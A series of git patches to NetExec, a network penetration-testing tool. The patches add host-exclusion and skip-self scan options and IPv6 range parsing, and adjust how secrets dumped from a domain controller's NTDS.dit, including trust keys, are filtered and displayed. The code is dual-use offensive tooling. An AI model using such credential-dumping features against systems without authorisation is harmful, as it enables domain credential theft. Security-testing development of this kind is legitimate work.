deletions(-) diff --git a/nxc/cli.py b/nxc/cli.py index 01d4ef4d2a..3ad4a95411 100755 --- a/nxc/cli.py +++ b/nxc/cli.py @@ -32,6 +32,8 @@ def gen_cli_args(): generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use") generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread") generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication") + generic_group.add_argument("--exclude-hosts", nargs="+", default=None, metavar="HOST", help="Exclude one or more hosts, IPs, CIDRs or hostnames from the scan") + generic_group.add_argument("--skip-self", action="store_true", default=False, help="Exclude the local machine from the scan") output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone) output_group = output_parser.add_argument_group("Output Options") diff --git a/nxc/netexec.py b/nxc/netexec.py index 653aed1791..cec0811cb9 100755 --- a/nxc/netexec.py +++ b/nxc/netexec.py @@ -133,11 +133,14 @@ def main(): # Handle exclusions from config excluded_ips = set() - # Process exclude_hosts from config - # Important, we are reusing the parse_targets because it already provides the code necessary for - # parsing all provided inputs + # Process exclude_hosts from config. Important, we are reusing the parse_targets because it + # already provides the code necessary for parsing all provided inputs + # Providing --exclude-hosts overwrite the configuration file + if args.exclude_hosts is not None: + exclude_hosts.clear() + exclude_hosts.extend(args.exclude_hosts) + if exclude_hosts: - nxc_logger.debug(f"Processing exclusions from config: {exclude_hosts}") for excluded in exclude_hosts: if Path(excluded).is_file(): with open(excluded) as excluded_file_handler: @@ -147,6 +150,10 @@ def main(): excluded_ips.update(parse_targets(excluded)) # Process skip_self from config + # Providing --skip-self overwrite the configuration file + if args.skip_self is not None: + skip_self = args.skip_self + if skip_self: local_ips = get_local_ips() if local_ips: From cb351cf890063e9fc6382351cf30ef65255ce7eb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Mon, 31 Aug 2026 17:02:52 +0200 Subject: [PATCH 250/397] Add support for IPv6 --- nxc/parsers/ip.py | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/nxc/parsers/ip.py b/nxc/parsers/ip.py index dacdc33d07..d1fbfc39c7 100755 --- a/nxc/parsers/ip.py +++ b/nxc/parsers/ip.py @@ -26,18 +26,21 @@ def parse_targets(target): try: if "-" in target: start_ip, end_ip = target.split("-") + start = ip_address(start_ip) try: - end_ip = ip_address(end_ip) + end = ip_address(end_ip) except ValueError: - first_three_octets = start_ip.split(".")[:-1] - first_three_octets.append(end_ip) - end_ip = ip_address(".".join(first_three_octets)) + sep = ":" if start.version == 6 else "." + prefix = start_ip.split(sep)[:-1] + prefix.append(end_ip) + end = ip_address(sep.join(prefix)) - for ip_range in summarize_address_range(ip_address(start_ip), end_ip): + for ip_range in summarize_address_range(start, end): for ip in ip_range: yield str(ip) else: - if ip_interface(target).ip.version == 6 and ip_address(target).is_link_local: + ip = ip_interface(target).ip + if ip.version == 6 and ip.is_link_local: yield str(target) else: for ip in ip_network(target, strict=False): From 9e94f58081f9fc3269b7ad77570adf925d5016eb Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Mon, 31 Aug 2026 21:45:18 +0200 Subject: [PATCH 251/397] simplify the logic and fix regression Signed-off-by: mpgn <5891788+mpgn@users.noreply.github.com> --- nxc/protocols/smb.py | 20 ++++---------------- 1 file changed, 4 insertions(+), 16 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index d01be2f3fb..a03d939fd1 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -2490,25 +2490,13 @@ def add_hash(secret_type, secret, host_id): else: add_hash.nt_lm_secrets += 1 - # NTDS account lines end with a trailing " Enabled"/" Disabled" status word; - # trust key lines (e.g. "partner (Incoming):rc4_hmac:hash") also contain spaces - # but have no status suffix, so only strip the last word when it's actually a status. - has_status = secret.rsplit(" ", 1)[-1] in ("Enabled", "Disabled") - # Trust keys have no enabled/disabled account status to filter on, so they're - # shown regardless of --enabled, except previous-password keys which are the - # trust equivalent of history and get excluded like --enabled excludes those. + is_enabled_account = secret.endswith(" (status=Enabled)") is_trust_key = " (Incoming" in secret or " (Outgoing" in secret is_current_trust_key = is_trust_key and ", previous)" not in secret + for status in (" (status=Enabled)", " (status=Disabled)", " (status=N/A)"): + secret = secret.removesuffix(status) - # Log the secret based on args - if self.args.enabled: - if "Enabled" in secret: - secret = " ".join(secret.split(" ")[:-1]) - self.logger.highlight(secret) - elif is_current_trust_key: - self.logger.highlight(secret) - else: - secret = " ".join(secret.split(" ")[:-1]) if has_status else secret + if not self.args.enabled or is_enabled_account or is_current_trust_key: self.logger.highlight(secret) # Filter out computer accounts, history hashes and kerberos keys for adding to db From 978270ad000b9b60c7d0c530dcb8bb410aaabb89 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Mon, 31 Aug 2026 21:49:41 +0200 Subject: [PATCH 252/397] Add default value to --trust-keys argument Set default value for --trust-keys argument to True. Signed-off-by: mpgn <5891788+mpgn@users.noreply.github.com> --- nxc/protocols/smb/proto_args.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index f660d80174..8086018a34 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -42,7 +42,7 @@ def proto_args(parser, parents): kerb_keys_arg.make_required = [ntds_arg] enabled_arg.make_required = [ntds_arg] cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC (NTDS.dit)") - trust_keys_arg = cred_gathering_group.add_argument("--trust-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Also dump Trusted Domain Object (TDO) secrets and derive inter-realm Kerberos/RC4 keys (NTDS.dit)") + trust_keys_arg = cred_gathering_group.add_argument("--trust-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], default=True, help="Dump Trusted Domain Object (TDO) secrets and derive inter-realm Kerberos/RC4 keys (NTDS.dit), default True") just_trust_keys_arg = cred_gathering_group.add_argument("--just-trust-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Like --trust-keys but dump ONLY the trust keys, skipping every account secret (NTDS.dit)") trust_keys_arg.make_required = [ntds_arg] just_trust_keys_arg.make_required = [ntds_arg] From 5f53ae99fddb5ec19c9c30c482aedfbf440a3b21 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 1 Sep 2026 13:28:05 -0400 Subject: [PATCH 253/397] Formatting --- nxc/config.py | 3 +-- nxc/data/nxc.conf | 4 ++-- 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/nxc/config.py b/nxc/config.py index 35b7116e82..20d36545c2 100644 --- a/nxc/config.py +++ b/nxc/config.py @@ -39,13 +39,12 @@ host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"])) check_guest_account = nxc_config.getboolean("nxc", "check_guest_account", fallback=False) display_dc = nxc_config.getboolean("nxc", "display_dc", fallback=True) - +skip_self = nxc_config.getboolean("nxc", "skip_self", fallback=False) exclude_hosts = literal_eval(nxc_config.get("nxc", "exclude_hosts", fallback=[])) if not isinstance(exclude_hosts, list): nxc_logger.error(f"exclude_hosts must be a 'list', got '{type(exclude_hosts).__name__}'. Exiting.") exit(1) -skip_self = nxc_config.getboolean("nxc", "skip_self", fallback=False) if len(host_info_colors) != 4: nxc_logger.error("Config option host_info_colors must have 4 values! Using default values.") diff --git a/nxc/data/nxc.conf b/nxc/data/nxc.conf index 55432fc9da..2c34c6b95b 100755 --- a/nxc/data/nxc.conf +++ b/nxc/data/nxc.conf @@ -7,9 +7,9 @@ reveal_chars_of_pwd = 0 log_mode = False host_info_colors = ["green", "red", "yellow", "cyan"] check_guest_account = False -exclude_hosts = [] -skip_self = False display_dc = True +skip_self = False +exclude_hosts = [] [BloodHound] bh_enabled = False From 6dc9e9d505e2fa9bfde99ecced5bc368cac4e644 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 1 Sep 2026 14:17:09 -0400 Subject: [PATCH 254/397] Make IP exclusion list additive instead of overwriting itself --- nxc/netexec.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/nxc/netexec.py b/nxc/netexec.py index 9a87160ca6..dc3e97c9db 100644 --- a/nxc/netexec.py +++ b/nxc/netexec.py @@ -149,9 +149,7 @@ def main(): # Process exclude_hosts from config. Important, we are reusing the parse_targets because it # already provides the code necessary for parsing all provided inputs - # Providing --exclude-hosts overwrite the configuration file if args.exclude_hosts is not None: - exclude_hosts.clear() exclude_hosts.extend(args.exclude_hosts) if exclude_hosts: From a7e55ffbf41eefe1da3c73f2c113190570397fd5 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 1 Sep 2026 14:17:25 -0400 Subject: [PATCH 255/397] Formatting --- nxc/netexec.py | 24 +++++++++--------------- 1 file changed, 9 insertions(+), 15 deletions(-) diff --git a/nxc/netexec.py b/nxc/netexec.py index dc3e97c9db..dd35870191 100644 --- a/nxc/netexec.py +++ b/nxc/netexec.py @@ -152,21 +152,15 @@ def main(): if args.exclude_hosts is not None: exclude_hosts.extend(args.exclude_hosts) - if exclude_hosts: - for excluded in exclude_hosts: - if Path(excluded).is_file(): - with open(excluded) as excluded_file_handler: - for line in excluded_file_handler.readlines(): - excluded_ips.update(parse_targets(line.strip())) - else: - excluded_ips.update(parse_targets(excluded)) - - # Process skip_self from config - # Providing --skip-self overwrite the configuration file - if args.skip_self is not None: - skip_self = args.skip_self - - if skip_self: + for excluded in exclude_hosts: + if Path(excluded).is_file(): + with open(excluded) as excluded_file: + for line in excluded_file.readlines(): + excluded_ips.update(parse_targets(line.strip())) + else: + excluded_ips.update(parse_targets(excluded)) + + if skip_self or args.skip_self: local_ips = get_local_ips() if local_ips: nxc_logger.debug(f"Local IPs detected: {local_ips}") From fc3072491897d6702c1190a18e3344d260960668 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 1 Sep 2026 14:17:55 -0400 Subject: [PATCH 256/397] Add IPv6 self exclusion --- nxc/netexec.py | 2 +- nxc/parsers/ip.py | 6 ++++++ 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/nxc/netexec.py b/nxc/netexec.py index dd35870191..ff7f0b2d9e 100644 --- a/nxc/netexec.py +++ b/nxc/netexec.py @@ -163,7 +163,7 @@ def main(): if skip_self or args.skip_self: local_ips = get_local_ips() if local_ips: - nxc_logger.debug(f"Local IPs detected: {local_ips}") + nxc_logger.debug(f"Local IP addresses detected: {local_ips}") excluded_ips.update(local_ips) else: nxc_logger.error("Could not determine local IP address for skip_self") diff --git a/nxc/parsers/ip.py b/nxc/parsers/ip.py index d1fbfc39c7..1430b4a06d 100755 --- a/nxc/parsers/ip.py +++ b/nxc/parsers/ip.py @@ -19,6 +19,12 @@ def get_local_ips(): # Skip localhost and link-local addresses if ip and not ip.startswith("127.") and not ip.startswith("169.254."): ips.add(ip) + if netifaces.AF_INET6 in addresses: + for addr_info in addresses[netifaces.AF_INET6]: + ip = addr_info.get("addr") + # Skip localhost and link-local addresses + if ip and not ip.startswith("::1") and not ip.startswith("fe80::"): + ips.add(ip) return ips From c0536ccd724efc8fac939235a95fd9c85885edce Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 1 Sep 2026 14:18:32 -0400 Subject: [PATCH 257/397] Add comment back --- nxc/netexec.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nxc/netexec.py b/nxc/netexec.py index ff7f0b2d9e..3aaa5e1fdc 100644 --- a/nxc/netexec.py +++ b/nxc/netexec.py @@ -160,6 +160,7 @@ def main(): else: excluded_ips.update(parse_targets(excluded)) + # Process skip_self from config and cli argument if skip_self or args.skip_self: local_ips = get_local_ips() if local_ips: From 336738bd587056cb595f717dd2da8fecd1cb9765 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 1 Sep 2026 14:26:18 -0400 Subject: [PATCH 258/397] Move target parsing to helper functions --- nxc/netexec.py | 64 ++++------------------------------------------- nxc/parsers/ip.py | 62 +++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 67 insertions(+), 59 deletions(-) diff --git a/nxc/netexec.py b/nxc/netexec.py index 3aaa5e1fdc..fa6561d388 100644 --- a/nxc/netexec.py +++ b/nxc/netexec.py @@ -3,18 +3,16 @@ import sys from nxc.helpers.logger import highlight -from nxc.helpers.misc import identify_target_file, display_modules -from nxc.parsers.ip import parse_targets, get_local_ips -from nxc.parsers.nmap import parse_nmap_xml -from nxc.parsers.nessus import parse_nessus_file +from nxc.helpers.misc import display_modules from nxc.cli import gen_cli_args from nxc.loaders.protocolloader import ProtocolLoader from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError from nxc.first_run import first_run_setup +from nxc.parsers.ip import process_targets from nxc.paths import NXC_PATH, WORKSPACE_DIR from nxc.console import nxc_console from nxc.logger import nxc_logger -from nxc.config import nxc_config, nxc_workspace, config_log, exclude_hosts, skip_self +from nxc.config import nxc_config, nxc_workspace, config_log from nxc.database import create_db_engine from concurrent.futures import ThreadPoolExecutor, as_completed import asyncio @@ -22,11 +20,9 @@ import signal import shutil import os -from os.path import exists from os.path import join as path_join from sys import exit from rich.progress import Progress -from pathlib import Path import platform if sys.stdout.encoding == "cp1252": sys.stdout.reconfigure(encoding="utf-8") @@ -112,8 +108,6 @@ def main(): nxc_logger.error("KRB5CCNAME environment variable is not set") exit(1) - targets = [] - if hasattr(args, "cred_id") and args.cred_id: for cred_id in args.cred_id: if "-" in str(cred_id): @@ -126,59 +120,11 @@ def main(): nxc_logger.error(f"Error parsing database credential id: {e}") exit(1) - if hasattr(args, "target") and args.target: - for target in args.target: - try: - if exists(target) and os.path.isfile(target): - target_file_type = identify_target_file(target) - if target_file_type == "nmap": - targets.extend(parse_nmap_xml(target, args.protocol)) - elif target_file_type == "nessus": - targets.extend(parse_nessus_file(target, args.protocol)) - else: - with open(target) as target_file: - for target_entry in target_file: - targets.extend(parse_targets(target_entry.strip())) - else: - targets.extend(parse_targets(target)) - except Exception as e: - nxc_logger.fail(f"Failed to parse target '{target}': {e}") - - # Handle exclusions from config - excluded_ips = set() - - # Process exclude_hosts from config. Important, we are reusing the parse_targets because it - # already provides the code necessary for parsing all provided inputs - if args.exclude_hosts is not None: - exclude_hosts.extend(args.exclude_hosts) - - for excluded in exclude_hosts: - if Path(excluded).is_file(): - with open(excluded) as excluded_file: - for line in excluded_file.readlines(): - excluded_ips.update(parse_targets(line.strip())) - else: - excluded_ips.update(parse_targets(excluded)) - - # Process skip_self from config and cli argument - if skip_self or args.skip_self: - local_ips = get_local_ips() - if local_ips: - nxc_logger.debug(f"Local IP addresses detected: {local_ips}") - excluded_ips.update(local_ips) - else: - nxc_logger.error("Could not determine local IP address for skip_self") - - # Filter out excluded targets - if excluded_ips: - original_count = len(targets) - excluded_targets = [target for target in targets if target in excluded_ips] - targets = [target for target in targets if target not in excluded_ips] - nxc_logger.debug(f"Excluding {original_count - len(targets)} hosts from scan: {excluded_targets}") + targets = process_targets(args) # The following is a quick hack for the powershell obfuscation functionality, I know this is yucky if hasattr(args, "clear_obfscripts") and args.clear_obfscripts: - obfuscated_dir = os.path.join(NXC_PATH, "obfuscated_scripts") + obfuscated_dir = path_join(NXC_PATH, "obfuscated_scripts") shutil.rmtree(obfuscated_dir) os.mkdir(obfuscated_dir) nxc_logger.success("Cleared cached obfuscated PowerShell scripts") diff --git a/nxc/parsers/ip.py b/nxc/parsers/ip.py index 1430b4a06d..4546513e9f 100755 --- a/nxc/parsers/ip.py +++ b/nxc/parsers/ip.py @@ -1,5 +1,67 @@ import netifaces from ipaddress import ip_address, ip_network, summarize_address_range, ip_interface +from nxc.helpers.misc import identify_target_file +from nxc.config import exclude_hosts, skip_self +from nxc.logger import nxc_logger +from nxc.parsers.nmap import parse_nmap_xml +from nxc.parsers.nessus import parse_nessus_file + +from os.path import exists, isfile +from pathlib import Path + + +def process_targets(args): + targets = [] + if hasattr(args, "target") and args.target: + for target in args.target: + try: + if exists(target) and isfile(target): + target_file_type = identify_target_file(target) + if target_file_type == "nmap": + targets.extend(parse_nmap_xml(target, args.protocol)) + elif target_file_type == "nessus": + targets.extend(parse_nessus_file(target, args.protocol)) + else: + with open(target) as target_file: + for target_entry in target_file: + targets.extend(parse_targets(target_entry.strip())) + else: + targets.extend(parse_targets(target)) + except Exception as e: + nxc_logger.fail(f"Failed to parse target '{target}': {e}") + + # Handle exclusions from config + excluded_ips = set() + + # Process exclude_hosts from config. Important, we are reusing the parse_targets because it + # already provides the code necessary for parsing all provided inputs + if args.exclude_hosts is not None: + exclude_hosts.extend(args.exclude_hosts) + + for excluded in exclude_hosts: + if Path(excluded).is_file(): + with open(excluded) as excluded_file: + for line in excluded_file.readlines(): + excluded_ips.update(parse_targets(line.strip())) + else: + excluded_ips.update(parse_targets(excluded)) + + # Process skip_self from config and cli argument + if skip_self or args.skip_self: + local_ips = get_local_ips() + if local_ips: + nxc_logger.debug(f"Local IP addresses detected: {local_ips}") + excluded_ips.update(local_ips) + else: + nxc_logger.error("Could not determine local IP address for skip_self") + + # Filter out excluded targets + if excluded_ips: + original_count = len(targets) + excluded_targets = [target for target in targets if target in excluded_ips] + targets = [target for target in targets if target not in excluded_ips] + nxc_logger.debug(f"Excluding {original_count - len(targets)} hosts from scan: {excluded_targets}") + return targets def get_local_ips(): From ac84b7dd94b3f51a738a8af1e99fce7c30b4580f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 1 Sep 2026 14:27:50 -0400 Subject: [PATCH 259/397] Formatting --- nxc/cli.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/cli.py b/nxc/cli.py index 2ec802aef9..99e52bd74a 100755 --- a/nxc/cli.py +++ b/nxc/cli.py @@ -33,7 +33,7 @@ def gen_cli_args(): generic_group.add_argument("--timeout", default=None, type=int, help="[DEPRECATED] no longer used, replaced by per-protocol timeouts (--smb-timeout, --ldap-timeout, --dcom-timeout)") generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication") generic_group.add_argument("--exclude-hosts", nargs="+", default=None, metavar="HOST", help="Exclude one or more hosts, IPs, CIDRs or hostnames from the scan") - generic_group.add_argument("--skip-self", action="store_true", default=False, help="Exclude the local machine from the scan") + generic_group.add_argument("--skip-self", action="store_true", help="Exclude the local machine from the scan") output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone) output_group = output_parser.add_argument_group("Output Options") From 2fbbd244a4709e7483ab367acf9b78745ed65a01 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 1 Sep 2026 14:28:31 -0400 Subject: [PATCH 260/397] Add netifaces to lock files --- poetry.lock | 42 +++++++++++++++++++++++++++++++++++++++++- pyproject.toml | 2 +- uv.lock | 8 ++++++++ 3 files changed, 50 insertions(+), 2 deletions(-) diff --git a/poetry.lock b/poetry.lock index bb5c167e0a..cd74ac9edd 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1652,6 +1652,46 @@ files = [ [package.extras] nicer-shell = ["ipython"] +[[package]] +name = "netifaces" +version = "0.11.0" +description = "Portable network interface information." +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "netifaces-0.11.0-cp27-cp27m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:eb4813b77d5df99903af4757ce980a98c4d702bbcb81f32a0b305a1537bdf0b1"}, + {file = "netifaces-0.11.0-cp27-cp27m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:5f9ca13babe4d845e400921973f6165a4c2f9f3379c7abfc7478160e25d196a4"}, + {file = "netifaces-0.11.0-cp27-cp27m-win32.whl", hash = "sha256:7dbb71ea26d304e78ccccf6faccef71bb27ea35e259fb883cfd7fd7b4f17ecb1"}, + {file = "netifaces-0.11.0-cp27-cp27m-win_amd64.whl", hash = "sha256:0f6133ac02521270d9f7c490f0c8c60638ff4aec8338efeff10a1b51506abe85"}, + {file = "netifaces-0.11.0-cp27-cp27mu-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:08e3f102a59f9eaef70948340aeb6c89bd09734e0dca0f3b82720305729f63ea"}, + {file = "netifaces-0.11.0-cp27-cp27mu-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:c03fb2d4ef4e393f2e6ffc6376410a22a3544f164b336b3a355226653e5efd89"}, + {file = "netifaces-0.11.0-cp34-cp34m-win32.whl", hash = "sha256:73ff21559675150d31deea8f1f8d7e9a9a7e4688732a94d71327082f517fc6b4"}, + {file = "netifaces-0.11.0-cp35-cp35m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:815eafdf8b8f2e61370afc6add6194bd5a7252ae44c667e96c4c1ecf418811e4"}, + {file = "netifaces-0.11.0-cp35-cp35m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:50721858c935a76b83dd0dd1ab472cad0a3ef540a1408057624604002fcfb45b"}, + {file = "netifaces-0.11.0-cp35-cp35m-win32.whl", hash = "sha256:c9a3a47cd3aaeb71e93e681d9816c56406ed755b9442e981b07e3618fb71d2ac"}, + {file = "netifaces-0.11.0-cp36-cp36m-macosx_10_15_x86_64.whl", hash = "sha256:aab1dbfdc55086c789f0eb37affccf47b895b98d490738b81f3b2360100426be"}, + {file = "netifaces-0.11.0-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c37a1ca83825bc6f54dddf5277e9c65dec2f1b4d0ba44b8fd42bc30c91aa6ea1"}, + {file = "netifaces-0.11.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:28f4bf3a1361ab3ed93c5ef360c8b7d4a4ae060176a3529e72e5e4ffc4afd8b0"}, + {file = "netifaces-0.11.0-cp36-cp36m-win32.whl", hash = "sha256:2650beee182fed66617e18474b943e72e52f10a24dc8cac1db36c41ee9c041b7"}, + {file = "netifaces-0.11.0-cp36-cp36m-win_amd64.whl", hash = "sha256:cb925e1ca024d6f9b4f9b01d83215fd00fe69d095d0255ff3f64bffda74025c8"}, + {file = "netifaces-0.11.0-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:84e4d2e6973eccc52778735befc01638498781ce0e39aa2044ccfd2385c03246"}, + {file = "netifaces-0.11.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:18917fbbdcb2d4f897153c5ddbb56b31fa6dd7c3fa9608b7e3c3a663df8206b5"}, + {file = "netifaces-0.11.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:48324183af7f1bc44f5f197f3dad54a809ad1ef0c78baee2c88f16a5de02c4c9"}, + {file = "netifaces-0.11.0-cp37-cp37m-win32.whl", hash = "sha256:8f7da24eab0d4184715d96208b38d373fd15c37b0dafb74756c638bd619ba150"}, + {file = "netifaces-0.11.0-cp37-cp37m-win_amd64.whl", hash = "sha256:2479bb4bb50968089a7c045f24d120f37026d7e802ec134c4490eae994c729b5"}, + {file = "netifaces-0.11.0-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:3ecb3f37c31d5d51d2a4d935cfa81c9bc956687c6f5237021b36d6fdc2815b2c"}, + {file = "netifaces-0.11.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:96c0fe9696398253f93482c84814f0e7290eee0bfec11563bd07d80d701280c3"}, + {file = "netifaces-0.11.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:c92ff9ac7c2282009fe0dcb67ee3cd17978cffbe0c8f4b471c00fe4325c9b4d4"}, + {file = "netifaces-0.11.0-cp38-cp38-win32.whl", hash = "sha256:d07b01c51b0b6ceb0f09fc48ec58debd99d2c8430b09e56651addeaf5de48048"}, + {file = "netifaces-0.11.0-cp38-cp38-win_amd64.whl", hash = "sha256:469fc61034f3daf095e02f9f1bbac07927b826c76b745207287bc594884cfd05"}, + {file = "netifaces-0.11.0-cp39-cp39-macosx_10_15_x86_64.whl", hash = "sha256:5be83986100ed1fdfa78f11ccff9e4757297735ac17391b95e17e74335c2047d"}, + {file = "netifaces-0.11.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:54ff6624eb95b8a07e79aa8817288659af174e954cca24cdb0daeeddfc03c4ff"}, + {file = "netifaces-0.11.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:841aa21110a20dc1621e3dd9f922c64ca64dd1eb213c47267a2c324d823f6c8f"}, + {file = "netifaces-0.11.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:e76c7f351e0444721e85f975ae92718e21c1f361bda946d60a214061de1f00a1"}, + {file = "netifaces-0.11.0.tar.gz", hash = "sha256:043a79146eb2907edf439899f262b3dfe41717d34124298ed281139a8b93ca32"}, +] + [[package]] name = "oscrypto" version = "1.3.0" @@ -2953,4 +2993,4 @@ test = ["pytest", "pytest-cov"] [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "56b728355fe920630c713760332f0af9f33297a02c524a6ed304384a4d62c78f" +content-hash = "0d14ba58153ca84c0a373c8d9180f9d864bc600cf1f67fdabf680f338265172d" diff --git a/pyproject.toml b/pyproject.toml index 3db4933879..b0092d7915 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -31,6 +31,7 @@ dependencies = [ "masky>=0.2.1", "minikerberos>=0.4.1", "neo4j>=5.0.0", + "netifaces (>=0.11.0,<0.12.0)", "paramiko>=3.3.1", "pefile (>=2024.8.26,<2025.0.0)", "pyasn1-modules>=0.3.0", @@ -49,7 +50,6 @@ dependencies = [ "certipy-ad @ git+https://github.com/Pennyw0rth/Certipy", "impacket @ git+https://github.com/fortra/impacket", "pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient", - "netifaces (>=0.11.0,<0.12.0)", ] [project.urls] diff --git a/uv.lock b/uv.lock index ce13244dd3..b49b0e6a9e 100644 --- a/uv.lock +++ b/uv.lock @@ -1374,6 +1374,7 @@ dependencies = [ { name = "masky" }, { name = "minikerberos" }, { name = "neo4j" }, + { name = "netifaces" }, { name = "paramiko" }, { name = "pefile" }, { name = "pyasn1-modules" }, @@ -1417,6 +1418,7 @@ requires-dist = [ { name = "masky", specifier = ">=0.2.1" }, { name = "minikerberos", specifier = ">=0.4.1" }, { name = "neo4j", specifier = ">=5.0.0" }, + { name = "netifaces", specifier = ">=0.11.0,<0.12.0" }, { name = "paramiko", specifier = ">=3.3.1" }, { name = "pefile", specifier = ">=2024.8.26,<2025.0.0" }, { name = "pyasn1-modules", specifier = ">=0.3.0" }, @@ -1442,6 +1444,12 @@ dev = [ { name = "shiv" }, ] +[[package]] +name = "netifaces" +version = "0.11.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a6/91/86a6eac449ddfae239e93ffc1918cf33fd9bab35c04d1e963b311e347a73/netifaces-0.11.0.tar.gz", hash = "sha256:043a79146eb2907edf439899f262b3dfe41717d34124298ed281139a8b93ca32", size = 30106, upload-time = "2021-05-31T08:33:02.506Z" } + [[package]] name = "oscrypto" version = "1.3.0" From 883921d2c8bc0b7c1e5ee9fe008d4802c84e61be Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 1 Sep 2026 14:36:46 -0400 Subject: [PATCH 261/397] Ensure that excluded hosts are valid IPs --- nxc/parsers/ip.py | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/nxc/parsers/ip.py b/nxc/parsers/ip.py index 4546513e9f..523da520ce 100755 --- a/nxc/parsers/ip.py +++ b/nxc/parsers/ip.py @@ -8,6 +8,7 @@ from os.path import exists, isfile from pathlib import Path +from sys import exit def process_targets(args): @@ -55,6 +56,14 @@ def process_targets(args): else: nxc_logger.error("Could not determine local IP address for skip_self") + # Validate that all objects to be excluded are valid IP addresses + try: + for ip in excluded_ips: + ip_address(ip) + except ValueError as e: + nxc_logger.error(f"Invalid IP address in excluded hosts: {e}") + exit(1) + # Filter out excluded targets if excluded_ips: original_count = len(targets) From 5800ec5fbb439976028cf4f9789d1430d6fc5d83 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 1 Sep 2026 14:56:32 -0400 Subject: [PATCH 262/397] Add prompt if exclusion exists but target is hostname --- nxc/parsers/ip.py | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/nxc/parsers/ip.py b/nxc/parsers/ip.py index 523da520ce..736a913f6a 100755 --- a/nxc/parsers/ip.py +++ b/nxc/parsers/ip.py @@ -1,5 +1,6 @@ import netifaces from ipaddress import ip_address, ip_network, summarize_address_range, ip_interface +from nxc.helpers.logger import highlight from nxc.helpers.misc import identify_target_file from nxc.config import exclude_hosts, skip_self from nxc.logger import nxc_logger @@ -66,6 +67,17 @@ def process_targets(args): # Filter out excluded targets if excluded_ips: + ignore_target_warning = False + for target in targets: + try: + ip_address(target) + except ValueError: + if not ignore_target_warning: + ans = input(highlight("[!] Target is not an IP address, but exclusion list detected. Hostnames will not be filtered. Do you want to continue? [Y/n] ", "red")) + if ans.lower() not in ["y", "yes", ""]: + exit(1) + ignore_target_warning = True + original_count = len(targets) excluded_targets = [target for target in targets if target in excluded_ips] targets = [target for target in targets if target not in excluded_ips] From 28e1ad17b43311907a982af49b4045c77ba5d88d Mon Sep 17 00:00:00 2001 From: Andreas Jaggi Date: Thu, 7 May 2026 14:14:23 +0200 Subject: [PATCH 263/397] Fix handling of empty SMB share folder --- nxc/modules/spider_plus.py | 2 ++ 1 file changed, 